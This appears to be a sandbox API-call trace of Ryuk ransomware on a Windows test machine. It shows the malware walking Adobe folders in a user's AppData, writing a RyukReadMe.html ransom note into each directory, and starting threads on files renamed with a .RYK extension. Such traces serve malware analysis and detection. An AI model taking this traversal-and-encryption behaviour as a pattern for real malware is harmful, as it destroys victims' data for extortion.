	[0245.823] FindNextFileW (in: hFindFile=0x3ef670, lpFindFileData=0x190e00 | out: lpFindFileData=0x190e00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0245.823] SetLastError (dwErrCode=0x0) 
	[0245.823] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0245.823] GetLastError () returned 0xb7
	[0245.823] CloseHandle (hObject=0x384) returned 1
	[0245.823] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef6d0
	[0245.823] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.824] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0245.824] SetLastError (dwErrCode=0x0) 
	[0245.824] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0245.824] GetLastError () returned 0xb7
	[0245.824] CloseHandle (hObject=0x3d4) returned 1
	[0245.824] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0245.824] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.825] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0245.825] SetLastError (dwErrCode=0x0) 
	[0245.825] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4
	[0245.825] GetLastError () returned 0xb7
	[0245.825] CloseHandle (hObject=0x3e4) returned 1
	[0245.825] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0245.825] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.826] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0xf8, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0245.826] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0245.829] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.830] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0xf8, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0245.830] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0245.832] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.833] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0245.833] SetLastError (dwErrCode=0x0) 
	[0245.833] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0245.833] GetLastError () returned 0xb7
	[0245.833] CloseHandle (hObject=0x3f0) returned 1
	[0245.833] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x102, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0245.834] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x102, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.834] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x102, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0245.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0245.941] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.942] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x102, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.942] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x102, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0245.942] FindClose (in: hFindFile=0x3ef7f0 | out: hFindFile=0x3ef7f0) returned 1
	[0245.943] SetLastError (dwErrCode=0x0) 
	[0245.943] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0245.943] GetLastError () returned 0xb7
	[0245.943] CloseHandle (hObject=0x3f0) returned 1
	[0245.943] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xf8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.943] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0xf8, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0245.943] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0245.991] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.992] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0xf8, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
	[0245.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0245.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0246.037] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.038] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0xf8, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0
	[0246.038] FindClose (in: hFindFile=0x3ef790 | out: hFindFile=0x3ef790) returned 1
	[0246.038] SetLastError (dwErrCode=0x0) 
	[0246.038] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4
	[0246.038] GetLastError () returned 0xb7
	[0246.038] CloseHandle (hObject=0x3e4) returned 1
	[0246.039] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.039] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.039] FindClose (in: hFindFile=0x3ef730 | out: hFindFile=0x3ef730) returned 1
	[0246.039] SetLastError (dwErrCode=0x0) 
	[0246.039] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0246.039] GetLastError () returned 0xb7
	[0246.039] CloseHandle (hObject=0x3d4) returned 1
	[0246.039] FindNextFileW (in: hFindFile=0x3ef6d0, lpFindFileData=0x1906d0 | out: lpFindFileData=0x1906d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0246.039] SetLastError (dwErrCode=0x0) 
	[0246.040] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0246.040] GetLastError () returned 0xb7
	[0246.040] CloseHandle (hObject=0x3d4) returned 1
	[0246.040] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef730
	[0246.041] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.041] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xe8, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0246.041] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0246.043] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.044] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0246.044] SetLastError (dwErrCode=0x0) 
	[0246.044] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.044] GetLastError () returned 0xb7
	[0246.044] CloseHandle (hObject=0x3d0) returned 1
	[0246.045] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0246.045] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.045] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xf4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
